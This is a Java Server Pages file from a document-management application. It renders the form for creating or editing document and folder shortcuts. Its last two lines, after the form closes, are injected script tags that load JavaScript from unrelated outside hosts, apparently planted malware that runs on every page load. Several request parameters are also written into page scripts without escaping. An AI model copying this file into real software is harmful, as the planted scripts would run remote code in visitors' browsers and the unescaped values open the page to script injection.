<%
/*
 * @(#)EditMtmDocumentRelationship.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditMtmDocumentRelationship.jsp

  This class is reflecting business logic uses.

    @author           Rollo Chan
    @company          DCIVision Limited
    @creation date    02/01/2004
    @version          $Revision$
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMtmDocumentRelationshipForm" scope="request" class="com.dcivision.dms.web.MaintMtmDocumentRelationshipForm"/>
<html:form action="dms/MaintMtmDocumentRelationship" styleClass="form-style-2">
<html:javascript formName="maintMtmDocumentRelationshipForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
 try{
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);

    //DmsDocument docTep = docRetrievalManager.getMyFavoriteObject();
    String documentID  = maintMtmDocumentRelationshipForm.getDocumentID()==null? request.getParameter("documentID")==null? "" : (String) request.getParameter("documentID"):(String)maintMtmDocumentRelationshipForm.getDocumentID();
    boolean bFromContextMenu = false;
    if(!Utility.isEmpty(request.getParameter("bFromContextMenu"))){
        if("true".equals(request.getParameter("bFromContextMenu"))){
            bFromContextMenu = true;
        }else{
            bFromContextMenu = false;
        }
    }else if(!Utility.isEmpty(documentID) && !"null".equals(documentID)){
        bFromContextMenu = true;
    }
    String relationshipType  = maintMtmDocumentRelationshipForm.getRelationshipType()==null? request.getParameter("relationshipType")==null? "" : (String) request.getParameter("relationshipType"):(String)maintMtmDocumentRelationshipForm.getRelationshipType();

    String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintMtmDocumentRelationshipForm.getDirectURL();

    String returnTop = request.getParameter("returnTop");
    String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : maintMtmDocumentRelationshipForm.getReturnTo();

  if (!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)) {
    returnTop =java.net.URLEncoder.encode(returnTop);
    returnTo = returnTo + "&returnTo=" + returnTop;
    maintMtmDocumentRelationshipForm.setReturnTo(returnTo);
  }

    //Parameters used for DMS
    String rootID  = maintMtmDocumentRelationshipForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)maintMtmDocumentRelationshipForm.getRootID();
    String parentID = maintMtmDocumentRelationshipForm.getParentID()==null? request.getParameter("parentID")==null? "" : (String) request.getParameter("parentID"):(String)maintMtmDocumentRelationshipForm.getParentID();
    DmsRoot nDmsRoot= (DmsRoot)docRetrievalManager.getDmsRoot(TextUtility.parseIntegerObj(rootID));
    if(DmsRoot.PERSONAL_ROOT.equals(nDmsRoot.getRootType())){
      if(!nDmsRoot.getOwnerID().equals(sessionContainer.getUserRecordID())){
        rootID=docRetrievalManager.getDmsRootID(sessionContainer.getUserRecordID(),GlobalConstant.RECORD_STATUS_ACTIVE).getID().toString();
        DmsDocument nDmsDocument= (DmsDocument)docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
        parentID=nDmsDocument.getID().toString();
      }
    }
     String curFunctionCode = maintMtmDocumentRelationshipForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintMtmDocumentRelationshipForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");

    DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
    List folderTreeList = (List)request.getAttribute("folderTreeList");
    String location = (String)request.getAttribute("location");

    String dummy_display_objectID="";
    String dummy_display_objectName="";
    DmsDocument dmsDocument = new DmsDocument();
    DmsDocument documentRoot = new DmsDocument();
    PermissionManager permissionManager = null;

    Integer tempdocumentID = request.getParameter("documentID") == null ? TextUtility.parseIntegerObj(maintMtmDocumentRelationshipForm.getDocumentID()) :                         TextUtility.parseIntegerObj(request.getParameter("documentID"));
    DmsDocumentDAObject dmsDocumentDAObject = new DmsDocumentDAObject(sessionContainer,conn);
    DmsDocument tempdocumentRoot = null;
    if (!Utility.isEmpty(tempdocumentID)){
      tempdocumentRoot = (DmsDocument)dmsDocumentDAObject.getObjectByID(tempdocumentID);
    }

    DmsDocument doc = null;
    if(!Utility.isEmpty(parentID)){
     doc = (DmsDocument)dmsDocumentDAObject.getObjectByID(TextUtility.parseIntegerObj(parentID));
    }
    String docType = doc==null?" ":doc.getDocumentType();
    //get the name for object id
    if (!Utility.isEmpty(documentID)){
      dmsDocument = docRetrievalManager.getDocument(new Integer(documentID));
      dummy_display_objectName=dmsDocument.getDocumentName();
      if (Utility.isEmpty(permission)){
        documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
        permissionManager = sessionContainer.getPermissionManager();
        //permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getID());//joan.xiong update code for bug EIP-599 by 2006/12/26
      }
    }

   String functionType = "";
   if (DmsDocument.DOCUMENT_LINK.equals(relationshipType)){
     if (!Utility.isEmpty(tempdocumentRoot)){
       if("Z".equals(tempdocumentRoot.getDocumentType())){
       functionType = "dms.label.folder_shortcut_linkage";
       }else{
         functionType = "dms.label.document_shortcut_linkage";
       }
     }else{
      functionType = "dms.label.document_shortcut_linkage";
     }
   }

   String homePageFunctionCode="";
   String sCurFunctionCode="";

   if(SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(curFunctionCode)){
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(curFunctionCode)){
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }else if(SystemFunctionConstant.DMS_COMPOUND_DOCUMENT.equals(curFunctionCode)){
     sCurFunctionCode = SystemFunctionConstant.DMS_COMPOUND_DOCUMENT;
   }

   if (Utility.isEmpty(curFunctionCode) || "null".equals(curFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(curFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
     DmsDocument docRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(docRoot.getDocumentName())) {
       sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
     } else {
       sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
     }
     request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
   }


   String docFolder = DmsOperationConstant.USE_DOC_FOLDER_PICKER;

   String myFavorite = maintMtmDocumentRelationshipForm.getIsMyFavorite();
   /*
   if(GlobalConstant.OP_MODE_MY_FAVORITE.equals(maintMtmDocumentRelationshipForm.getIsMyFavorite())){
     rootID = TextUtility.formatIntegerObj(docTep.getRootID());
     if (Utility.isEmpty(parentID) || parentID.equals("0")) {
       parentID = TextUtility.formatIntegerObj(docTep.getID());
     }
   }
   */

  boolean showPermissionFlage = false;
  boolean isPersonalFolder = true;

  String parentPermission ="";

  if (Utility.isEmpty(permission)|| "null".equals(permission)) {
    PermissionManager permissionManager1 = sessionContainer.getPermissionManager();
    parentPermission = (String) permissionManager1.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(parentID));

  }else{
    parentPermission = permission;
  }

  if(!Utility.isEmpty(rootID)){
      DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
      DmsRoot documentRoot1 = (DmsRoot) dmsRootDAO.getObjectByID(TextUtility.parseIntegerObj(rootID));
      if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot1.getRootName())) {
          isPersonalFolder = false;
      }
  }

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language="JavaScript">
<!--
//joan.xiong add code for bug EIP-765 by 2006/11/17
function refreshPage(rootID,parentID,homePageFunctionCode){
  document.maintMtmDocumentRelationshipForm.bFromContextMenu.value= <%=bFromContextMenu%>;
  document.maintMtmDocumentRelationshipForm.rootID.value= rootID;
  document.maintMtmDocumentRelationshipForm.parentID.value = parentID;
}

//joan.xiong add code end

function getDocument(){
  //return(popupDocumentSelectionPanel('<%=rootID%>', '<%=parentID%>', 'dummy_display_objectName', 'dummy_display_objectID'));
  return(popupSingleDocumentSelectionPanel('<%=rootID%>', '<%=parentID%>', 'dummy_display_objectName', 'dummy_display_objectID'));
}

function getListDocument(){
  return(popupSelectionPanel('<%=rootID%>', '<%=parentID%>', 'dummy_display_objectName', 'dummy_display_objectID','<%=docFolder%>','<%=java.net.URLEncoder.encode(returnTo)%>'));//encodeReturnTo//joan.xiong update code for bug EIP-599 by 2006/12/26
}

// For selecting list dms
function popupSelectionPanel(rootID, parentID, displayField, hiddenField,pageFlag,returnTo) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var selectedDoc = eval("frm."+hiddenField+".value");
  var url = "<%= request.getContextPath() %>" + "/dms/ListDmsSelectDocFolder.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField+ "&pageFlag=" + pageFlag +"&returnTo=" +returnTo+ "&hiddenFieldName=" + hiddenField + "&selectedDoc=" + encodeURIComponent(selectedDoc) + "&parentModule=<%=maintMtmDocumentRelationshipForm.getParentModule()%>";
  var name = "DCIVisionPopupDmsSelectSinglePanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function OpCustSave(){
  if (!OpValidate()) {
    return(false);
  }

  if (document.maintMtmDocumentRelationshipForm.locationPath.value=="") {
      alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

  //joan.xiong add code for bug EIP-1027 by 2007/01/25
  if (document.maintMtmDocumentRelationshipForm.documentName.value=="") {
      alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.name_label_"+relationshipType))%>");
    return true;
  }
  //joan.xiong add code end

  if (document.maintMtmDocumentRelationshipForm.documentID.value == ''){
    document.maintMtmDocumentRelationshipForm.documentID.value = document.maintMtmDocumentRelationshipForm.dummy_display_objectID.value;
  }

  return OpSave();
}


 function hideBlock(b) {
   FindObj(b).style.display = "none";
 }

 function showBlock(b) {
   FindObj(b).style.display = "block";
 }
 function routineAfterAction(b) {
 }

function OpCustEdit(){
  document.maintMtmDocumentRelationshipForm.opMode.value='';
  document.maintMtmDocumentRelationshipForm.navMode.value='E';
//navMode=E
  document.maintMtmDocumentRelationshipForm.submit();
  return false;
}

function OpValidate() {
  if (document.maintMtmDocumentRelationshipForm.dummy_display_objectName.value==''){
    alert("<bean:message key='errors.forum.select_object_for_shortcut'/>");
    return false;
  }
  //if (CheckExtensionInconsistent(document.maintMtmDocumentRelationshipForm.dummy_display_objectName.value, document.maintMtmDocumentRelationshipForm.documentName.value)){
  //  if (!confirm("<bean:message key='dms.message.confirm_change_ext'/>")) {
  //    return(false);
  //  }
  //}
  return (true);
}

function alertNoCompoundDoc(){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function alertNoPaperDoc(){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert (alertMessage);
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='documentID'/>
<html:hidden property='relatedDocumentID'/>
<html:hidden property='relationshipType' value='<%=relationshipType%>'/>
<html:hidden property='curFunctionCode' value='<%=curFunctionCode%>'/>
<html:hidden property='parentModule' />
<html:hidden property="directURL" />
<html:hidden property="returnTo"/>
<html:hidden property="isMyFavorite"/>
<%if (showPermissionFlage){%>
  <html:hidden property='setPermission' value ="TRUE"/>
<%}%>

<input type="hidden" name="bFromContextMenu" />
<input type="hidden" name="dummy_display_objectID" />
<!-- Page Title Section -->
<%
String returnURL="";
if(Utility.isEmpty(maintMtmDocumentRelationshipForm.getReturnTo()) || maintMtmDocumentRelationshipForm.getReturnTo().equals("null")){
  if(Utility.isEmpty(homePageFunctionCode)){
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
    }else {
        returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
    }
  }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
    returnURL=request.getContextPath()+"/Home.do";
    }
}else{
  returnURL=maintMtmDocumentRelationshipForm.getReturnTo();
}%>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
      <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    </div>
</div>

<!-- Basic Tab DIV -->
<div id="generalContainer" class="generalContainer">
  <div class="wrapperContainer-clearfix">
<table width="100%">
<!-- Section Header -->
  <tr>
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && !docType.equals(DmsDocument.PAPER_DOC_TYPE) && !docType.equals(DmsDocument.COMPOUND_DOC_TYPE) && (Utility.isEmpty(parentID) || "0".equals(parentID)) && false) {%>
    <td valign="top" class="treeOuterWrapper">
    <div id="treeContainer">
      <!-- Hierarchy Tree Begin -->
      <%
        String jspPageMappingName = "MaintMtmDocumentRelationship";
      %>
      <script language="JavaScript">
      <!--
      function handleTreeNodeGeneralDoc(docID,rootID){
        document.maintMtmDocumentRelationshipForm.parentID.value=docID;
        document.maintMtmDocumentRelationshipForm.rootID.value=rootID;
        document.maintMtmDocumentRelationshipForm.submit();
      }

      function handleTreeNodeCompoundDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
        alert (alertMessage);
      }

      function handleTreeNodePaperDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
        alert (alertMessage);
      }

      function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
        alert (alertMessage);
      }

      function handleTreeSubStaticNodePaperDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
        alert (alertMessage);
      }

      function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
        handleTreeNodeGeneralDoc(docID,rootID);
      }

      function handleTreeNodeEmailDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
        alert(alertMessage);
      }

      function handleTreeNodeFormDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
        alert(alertMessage);
      }

      function handleTreeNodeFlowDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
        alert(alertMessage);
      }

      function handleTreeSubStaticNodeEmailDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
        alert(alertMessage);
      }

      function handleTreeSubStaticNodeFormDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
        alert(alertMessage);
      }

      function handleTreeSubStaticNodeFlowDoc(docID,rootID){
        var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
        alert(alertMessage);
      }


      function setHiddenValue(parentID, rootID) {
        document.maintMtmDocumentRelationshipForm.parentID.value=parentID;
        document.maintMtmDocumentRelationshipForm.rootID.value=rootID;
        document.maintMtmDocumentRelationshipForm.submit();
      }

      function changeRoot(rootCombination) {
        var val = rootCombination.split(";");
        handleTreeNodeGeneralDoc(val[0], val[1]);
      }

      function clickNodeAction(tree, node) {
        var nodeId = node.id;
        var rootId = tree.rootId;
        switch (node.tp) {
          case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeGeneralDoc(nodeId, rootId); break;
          case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodeGeneralDoc(nodeId, rootId); break;
          case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
          case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
          case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
          case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId); break;
          default : alert("not support document type("+node.tp+")");
        }
      }
      //-->
      </script>

      <%if ((!DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(maintMtmDocumentRelationshipForm.getParentModule()))&&
              (!DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(maintMtmDocumentRelationshipForm.getParentModule())) && (Utility.isEmpty(parentID) || "0".equals(parentID))) {%>
      <div id="treeFrameSelection">
      <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
      <%
        List publicRootList = (List)request.getAttribute("publicRootList");
        if (!Utility.isEmpty(publicRootList)) {
          for (int i = 0; i < publicRootList.size(); i++) {
            DmsRoot dmsRoot = (DmsRoot)publicRootList.get(i);
            if (rootID.equals(dmsRoot.getID().toString())) {
              out.println("<option value=\""+dmsRoot.getRootFolderID() + ";" + dmsRoot.getID()+ "\" selected>" + TextUtility.escapeJSString(dmsRoot.getRootName()) + "</option>");
            } else {
              out.println("<option value=\""+dmsRoot.getRootFolderID() + ";" + dmsRoot.getID()+ "\">" +TextUtility.escapeJSString(dmsRoot.getRootName()) + "</option>");
            }
          }
        }
      %>
      </select>
      </div>
      <div id="treeFrame" class="dtreeContainer">
      <dms:tree name='<%="relation"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>">
      </dms:tree>
      </div>
      <script language="javascript">
      <!--
        var divHeight = GetInnerHeight() - 200;
        FindObj("treeFrame").style.height = divHeight+"px";
      -->
      </script>
      <%}%>
      <!-- Hierarchy Tree End -->
</div>
  <script>addLoadEvent(function(){SetDivHeight('editContainer', 'treeContainer')});</script>
 </td>


  <% } %>
    <td>
    <div id="editContainer">
      <table width="100%">
      <layout:sectionHeader name="dms.label.new_shortcut" mandatory="false" blackLine='true' />
      <%if ((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) ) {  %>
        <tr>
          <td class="formLabelSmall" width="'25%"><bean:message key="dms.label.shortcut_for"/>:&nbsp;</td>
          <td class="formFieldSmall" width='75%'>
            <input type="text" name="temp_dummy_display_objectName" value="<%=dummy_display_objectName%>"  readonly="true" size="50">
            <input type="hidden" name="dummy_display_objectName" value="<%=dummy_display_objectName%>"size="20" maxlength="30" readOnly/>
            <a href='#' onClick='return(getListDocument())'>
            <html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/>
            </a>
          </td>
        </tr>
          <%if (!Utility.isEmpty(documentID)){%>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.location'/>:&nbsp;</td>
              <td class="formFieldSmall">
                &nbsp;<dms:docFolderPicker parentID="<%=dmsDocument.getParentID()%>" rootID="<%=dmsDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag' />
                <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                <html:hidden property='parentID'/>
                <html:hidden property='rootID'/>
                <%}%>
              </td>
            </tr>
          <%}%>
      <%}%>
        <!-- Current location path -->
        <tr>
          <%String strRelationshipType= "dms.label.name_label_"+relationshipType; %>
          <td class="formLabelSmall" width="'25%"><bean:message key='<%=strRelationshipType%>'/>:&nbsp;</td>
          <td class="formFieldSmall" width='75%'>
          <%if ((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) ) {  %>
            <%if (Utility.isEmpty(dummy_display_objectName)) {  %>
              <input type="text" name="documentName" value="<%=dummy_display_objectName%>"size="50" maxlength="30" />
            <%}else{%>
              <input type="text" name="documentName" value="<bean:message key='dms.label.shortcut_of'/> <%=dummy_display_objectName%>"size="50" maxlength="30" />
            <%
              if ( (MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"dms.label.shortcut_of") + dummy_display_objectName).length() > DmsOperationConstant.FILE_NAME_LENGTH_LIMIT) {
            %>
              <br><font class="messageAlarm"><bean:message key="errors.dms.document_name_is_too_longer" /></font>
            <%
              }
            %>
            <%}%>
          <%}else{%>
            <html:text property='documentName' size='50' maxlength='100'/>
          <%}%>
          </td>
        </tr>

        <tr>
          <td class="formLabelSmall" width="25%"><nobr><bean:message key='dms.label.save_to'/>:&nbsp;</nobr></td>
          <td class="formFieldSmall">
          <%
            boolean allowPersonalOnly = false;
            boolean allowPublicOnly = false;

            if (!Utility.isEmpty(tempdocumentRoot)){
              DmsRoot dmsRoot = docRetrievalManager.getDmsRootByDocumentID(tempdocumentRoot.getID());
              if (DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())){
                allowPersonalOnly = true;
              } else {
                allowPersonalOnly = true;
                allowPublicOnly = true;
              }
            }
          %>
          <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(maintMtmDocumentRelationshipForm.getParentModule()))||(DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(maintMtmDocumentRelationshipForm.getParentModule()))||(GlobalConstant.OP_MODE_MY_FAVORITE.equals(myFavorite))) {%>
            <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>" size="50" readonly="true" refreshCopyMove="true" allowPersonalOnly="<%=allowPersonalOnly%>" allowPublicOnly="<%=allowPublicOnly%>"/>
          <%}else{%>
            <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>" isMyFavorite="<%=myFavorite%>" size="50" allowCompoundDoc="true" allowPaperDoc="true" refreshCopyMove="true" allowPersonalOnly="<%=allowPersonalOnly%>" allowPublicOnly="<%=allowPublicOnly%>" />
          <%}%>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <br><font class="bodyVerySmall"><bean:message key='dms.message.choose_target_destination_folder'/></font>
          <%}%>
          </td>
        </tr>
        <tr>
          <td colspan="2"><layout:auditTrail/></td>
        </tr>
  </table>
  </div>
  </td></tr></table>
  </div>
</div>
<!-- End Basic Tab DIV -->

<!-- Permission Tab DIV-->
<%if (showPermissionFlage){%>
<%
  String permType = "RFIAENTCMDHZVLUSB";
%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "dms.label.permission_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>
//-->
</script>
<div id="permissionTab" class="tabContent">
<br>
    <table width="100%" cellpadding="2" cellspacing="2" border="0">
    <layout:sectionHeader name='setup.label.permission' mandatory='false' blackLine='false'/>
    <tr><td>
        <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr><td nowrap valign="top">
            <layout:permissionSetup permissionType='<%=permType%>' labelPrefix='dms.label.permission_' enableInherit='true'/>
        </td></tr>
        </table><br>
    </td></tr>
    </table>
</div>
<%}%>
<!-- End Permission Tab DIV-->

<div class="generalBottomButtonArea">
  <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintMtmDocumentRelationshipForm.getOpMode())) {%>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right='D' objectType='D' objectID='<%=dmsDocument.getID()%>' onClick="return(OpDelete())"/>
    </logic:equal>
  </div>
</div>

<%if (showPermissionFlage){%>
<script language="Javascript">
<!--
initVariable(document.maintMtmDocumentRelationshipForm);
//-->
</script>
<%}%>

<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>